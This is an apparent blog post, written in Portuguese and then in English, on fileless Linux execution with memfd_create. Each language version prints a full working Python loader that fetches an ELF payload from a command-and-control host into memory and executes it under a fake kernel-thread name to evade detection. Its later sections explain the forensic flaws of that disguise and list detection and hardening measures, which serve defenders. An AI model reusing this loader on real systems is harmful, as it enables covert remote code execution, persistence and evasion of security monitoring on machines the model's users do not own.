Malware Dev 2026-06-02 @reeshasx

GHOST_IN_THE_RAM: Fileless Execution via memfd_create in Python

[ 0x00 ] EVASÃO DE DISCO E EXECUÇÃO FILELESS

Em táticas avançadas de pós-exploração, transferir payloads executáveis para diretórios comuns de escrita (como /tmp, /var/tmp ou /dev/shm) é considerado um indicador de comprometimento (IoC) primário. O monitoramento de integridade de arquivos, diretivas de montagem noexec e daemons que utilizam ganchos inotify capturam facilmente a criação de novos arquivos binários ELF.

A regra fundamental de evasão moderna é: Se tocar no disco físico, a assinatura estática ou heurística o interceptará.

Para mitigar essa superfície de detecção, emprega-se a execução fileless (sem arquivo físico), instanciando o binário executável diretamente na memória RAM. No ecossistema Linux, a chamada de sistema memfd_create é uma das principais interfaces utilizadas para viabilizar este propósito.

[ 0x01 ] MECANISMO DA SYSCALL MEMFD_CREATE

Introduzida no kernel Linux 3.17, a chamada de sistema memfd_create aloca um arquivo anônimo residente exclusivamente em memória volátil (utilizando a infraestrutura de memória compartilhada shmem do kernel). Esta chamada retorna um descritor de arquivo (file descriptor - FD) que pode ser manipulado exatamente como um arquivo convencional (via write, mmap, etc.).

No entanto, este FD não é mapeado em nenhuma árvore de diretórios do VFS (Virtual File System). O arquivo não possui uma entrada persistente no sistema de arquivos sob caminhos comuns de busca do sistema operacional.

A partir do Python 3.8, o interpretador expõe o wrapper nativo os.memfd_create na biblioteca padrão. Para versões legadas ou fins de demonstração de baixo nível, podemos invocar a API dinamicamente utilizando a biblioteca ctypes para se comunicar com a libc.

[ 0x02 ] IMPLEMENTAÇÃO DO LOADER PORTÁVEL EM PYTHON

O script abaixo demonstra a implementação de um carregador de memória que realiza o mapeamento por arquitetura do número da syscall de acordo com a plataforma detectada (x86_64, ARM64, i386), provendo portabilidade multiarquitetura restrita ao ecossistema Linux, tratando corretamente a sintaxe interna do Python.

import ctypes
import os
import platform
import urllib.request

# 1. Criação do file descriptor anônimo na memória RAM
def get_anonymous_fd(name: str) -> int:
    # Utiliza o wrapper nativo do Python 3.8+ se disponível
    if hasattr(os, "memfd_create"):
        try:
            return os.memfd_create(name, flags=os.MFD_CLOEXEC)
        except OSError:
            pass

    # Fallback via chamada direta à syscall da libc (ctypes)
    try:
        from ctypes.util import find_library
        libc_path = find_library('c')
        if not libc_path:
            return -1
        libc = ctypes.CDLL(libc_path)
    except Exception:
        return -1

    # Mapeamento estático do número da syscall por arquitetura do processador
    arch = platform.machine()
    if arch == "x86_64":
        sys_memfd_create = 319
    elif arch in ("aarch64", "arm64"):
        sys_memfd_create = 279
    elif arch in ("i386", "i686"):
        sys_memfd_create = 356
    elif arch.startswith("arm"):
        sys_memfd_create = 385
    else:
        return -1

    MFD_CLOEXEC = 0x0001
    # Executa syscall(sys_memfd_create, name, flags)
    return libc.syscall(sys_memfd_create, name.encode('utf-8'), MFD_CLOEXEC)

# Nome de exibição superficial no processo (masquerading)
fake_name = "kworker/u4:2"

fd = get_anonymous_fd(fake_name)
if fd == -1:
    print("[-] Falha ao instanciar memfd anônimo.")
    exit(1)

# 2. Exfiltração/Download do payload ELF diretamente para a RAM
try:
    # Substituir pelo endereço do host C2
    req = urllib.request.urlopen("http://meu-c2.com/payload.elf")
    payload_bytes = req.read()
except Exception as e:
    print(f"[-] Erro de conexão com C2: {e}")
    exit(1)

# 3. Gravação do stream de bytes no descritor de arquivo na memória
os.write(fd, payload_bytes)
os.lseek(fd, 0, os.SEEK_SET)

# 4. Substituição do processo atual (execve) via descritor sob procfs
fd_path = f"/proc/self/fd/{fd}"
os.execv(fd_path, [fake_name])

[ 0x03 ] MITOS E LIMITAÇÕES DO MASQUERADING DE ARGUMENTOS

A técnica de passar fake_name ("kworker/u4:2") como o primeiro elemento da lista argv em os.execv altera a cadeia de caracteres exibida por listagens superficiais (como ps e top), que leem a memória do bloco /proc/<pid>/cmdline. No entanto, este masquerading não é absoluto e apresenta severas inconsistências forenses:

Hierarquia de Processos (PPID): Um thread de kernel autêntico (kworker) tem como processo pai o kthreadd (PID 2). O binário fileless spawnado via Python manterá o PPID correspondente ao shell ou aplicação vulnerável de onde o loader foi invocado.
Mapeamento de Executável: O link simbólico /proc/<pid>/exe para um kworker real não existe ou aponta para um kernel space invisível. No processo mascarado, /proc/<pid>/exe apontará explicitamente para /memfd:kworker/u4:2 (deleted).
Bloco de Ambiente: O arquivo /proc/<pid>/environ de threads de kernel legítimos é completamente nulo. O processo fileless conterá as variáveis de ambiente completas herdadas do runtime do Python.
Mapa de Memória: Threads de kernel operam puramente em kernel-space e não possuem espaço de memória de usuário. O processo fileless exibirá um mapa /proc/<pid>/maps contendo pilhas e heaps de usuário convencionais.

[ 0x04 ] VETORES DE DETECÇÃO E TELEMETRIA FORENSE

Apesar de ser indetectável para antivírus tradicionais baseados em varreduras de arquivos locais, a execução baseada em memfd_create é capturada em telemetria por soluções modernas de EDR e auditores do kernel Linux (como auditd ou monitores de eBPF):

Rastreamento de Syscalls (eBPF): Motores baseados em eBPF (como o Tetragon) interceptam a syscall sys_enter_memfd_create em tempo de execução, permitindo auditorias e bloqueios imediatos se processos em user-space realizarem a chamada.
Ganchos LSM (Linux Security Modules): Módulos de Segurança Linux (LSM) como SELinux e AppArmor não dependem de arquivos físicos no disco e avaliam privilégios e capacidades (como a permissão execmem do SELinux) em diversos ganchos do kernel, incluindo chamadas que alocam e mapeiam arquivos anônimos na memória.
Detecção de Execve Incomum: Regras de monitoramento de integridade que rastreiam chamadas sys_enter_execve onde o caminho executado aponta para o padrão /proc/*/fd/* ou /proc/self/fd/*.
Forense de Memória: O utilitário clássico ls -l /proc/*/exe ou ls -l /proc/*/fd/* revela facilmente arquivos cujo destino aponta para links /memfd:... (deleted). Além disso, ferramentas forenses de análise de memória (como o Volatility via plugin malfind) são eficientes para rastrear regiões executáveis (rwx ou r-x) desprovidas de arquivos correspondentes em disco, assim como a listagem direta de mapeamentos sob /proc/<pid>/maps contendo links simbólicos óbvios para arquivos anônimos /memfd:... (deleted).

Diretriz de Hardening: Configure o parâmetro de kernel vm.memfd_noexec (disponível a partir do kernel 6.0+) para bloquear ou auditar a execução de memfds (ajustando para 2 para desabilitar completamente), ou implemente políticas de segurança restritivas via LSM para bloquear chamadas execve cujo caminho de execução aponte para descritores virtuais sob /proc/self/fd/.

[ 0x00 ] MEMORY-ONLY EVASION AND FILELESS EXECUTION

In advanced post-exploitation scenarios, transferring executable payloads to standard writable paths (such as /tmp, /var/tmp, or /dev/shm) constitutes a primary Indicator of Compromise (IoC). File integrity monitoring tools, noexec mount flags, and custom daemons using inotify hooks will easily catch the creation of new ELF binaries on disk.

The fundamental rule of modern evasion is: If it touches the physical disk, static or heuristic signatures will intercept it.

To minimize this detection surface, operators employ fileless execution by instantiating the executable binary directly in the system's volatile memory (RAM). In the Linux ecosystem, the memfd_create system call serves as one of the primary interfaces utilized to achieve this purpose.

[ 0x01 ] THE ANATOMY OF MEMFD_CREATE

Introduced in Linux kernel version 3.17, memfd_create requests the kernel to allocate an anonymous file that resides exclusively in RAM, utilizing the kernel's internal shared memory (shmem) infrastructure. This system call returns a file descriptor (FD) that can be operated on exactly like a standard file (via write, mmap, etc.).

Crucially, this FD does not map to any directory tree under the Virtual File System (VFS). The file remains completely pathless and lacks a persistent entry within the filesystem's directory tree.

Since Python 3.8, the standard library exposes os.memfd_create natively. For legacy systems or lower-level demonstration purposes, the API can be invoked dynamically using the ctypes library to interact with the C runtime (libc).

[ 0x02 ] IMPLEMENTATION OF A PORTABLE LOADER IN PYTHON

The script below demonstrates a memory loader that maps the correct system call number based on the detected CPU architecture (x86_64, ARM64, i386), providing cross-architecture portability restricted to the Linux ecosystem while adhering strictly to Python's syntax structure.

import ctypes
import os
import platform
import urllib.request

# 1. Instantiate an anonymous file descriptor in RAM
def get_anonymous_fd(name: str) -> int:
    # Attempt to use the native Python 3.8+ wrapper if available
    if hasattr(os, "memfd_create"):
        try:
            return os.memfd_create(name, flags=os.MFD_CLOEXEC)
        except OSError:
            pass

    # Fallback to direct libc syscall invocation (ctypes)
    try:
        from ctypes.util import find_library
        libc_path = find_library('c')
        if not libc_path:
            return -1
        libc = ctypes.CDLL(libc_path)
    except Exception:
        return -1

    # Static architecture-based syscall mapping
    arch = platform.machine()
    if arch == "x86_64":
        sys_memfd_create = 319
    elif arch in ("aarch64", "arm64"):
        sys_memfd_create = 279
    elif arch in ("i386", "i686"):
        sys_memfd_create = 356
    elif arch.startswith("arm"):
        sys_memfd_create = 385
    else:
        return -1

    MFD_CLOEXEC = 0x0001
    # Execute syscall(sys_memfd_create, name, flags)
    return libc.syscall(sys_memfd_create, name.encode('utf-8'), MFD_CLOEXEC)

# Fake process name for superficial masquerading
fake_name = "kworker/u4:2"

fd = get_anonymous_fd(fake_name)
if fd == -1:
    print("[-] Failed to create anonymous memfd.")
    exit(1)

# 2. Fetch the ELF payload directly into RAM
try:
    # Replace with your C2 server destination
    req = urllib.request.urlopen("http://my-c2.com/payload.elf")
    payload_bytes = req.read()
except Exception as e:
    print(f"[-] C2 connection failed: {e}")
    exit(1)

# 3. Write bytes to the in-memory file descriptor
os.write(fd, payload_bytes)
os.lseek(fd, 0, os.SEEK_SET)

# 4. Replace current process (execve) using procfs descriptor path
fd_path = f"/proc/self/fd/{fd}"
os.execv(fd_path, [fake_name])

[ 0x03 ] DECONSTRUCTING ARGUMENT MASQUERADING (HTOP/PS EVASION)

Passing a custom name like "kworker/u4:2" as the first element in the argv array of os.execv alters the process command line string read by superficial diagnostic tools (such as ps and top), which parse /proc/<pid>/cmdline. However, this visual deception fails to bypass standard forensic checks:

Process Hierarchy (PPID): A real kernel thread (kworker) has kthreadd (PID 2) as its parent process. The fileless process spawned via Python will inherit the PPID of the shell or compromised daemon from which the loader was executed.
Executable Mapping: The symbolic link /proc/<pid>/exe for a real kernel thread does not exist or points to an inaccessible kernel space. In the masqueraded user-space process, it points to /memfd:kworker/u4:2 (deleted).
Environment Blocks: The /proc/<pid>/environ file of standard kernel threads is completely empty. The fileless malware process contains the user-space environment variables inherited from Python.
Memory Space: Kernel threads operate strictly in kernel-space and lack user-space memory mappings. The masqueraded process shows user-space maps (/proc/<pid>/maps) containing standard stacks and heaps.

[ 0x04 ] FORENSIC telemetry AND DETECTION CHANNELS

While invisible to traditional file-based antivirus scanners, memory-only execution using memfd_create is captured by modern EDRs and Linux kernel audit interfaces (such as auditd and eBPF):

Syscall Interception (eBPF): eBPF-based security agents (such as Tetragon) intercept sys_enter_memfd_create system calls at runtime, providing real-time logging or execution prevention.
LSM Hooks (Linux Security Modules): Linux Security Modules (LSM) such as SELinux and AppArmor do not rely on physical files on disk and evaluate process privileges and capabilities (like SELinux's execmem permission) across various kernel hooks, including those triggered during the allocation and mapping of anonymous memory files.
Anomalous Execve Calls: Security controls look for sys_enter_execve events pointing to path patterns under /proc/*/fd/* or /proc/self/fd/*.
Memory Forensics: Simple sysadmin queries like ls -l /proc/*/exe or ls -l /proc/*/fd/* reveal processes resolving to /memfd:... (deleted). Additionally, memory forensics frameworks (such as Volatility using the malfind plugin) are effective at scanning for executable memory regions (rwx or r-x) lacking associated backing files on disk, alongside direct inspection of /proc/<pid>/maps for symbolic links pointing to /memfd:... (deleted).

Hardening Directive: Configure the kernel parameter vm.memfd_noexec (available since Linux 6.0+) to block or audit execution of memfds (e.g., setting it to 2 to disable it completely), or enforce restrictive LSM policies to prevent execve calls targeting virtual descriptor paths under /proc/self/fd/.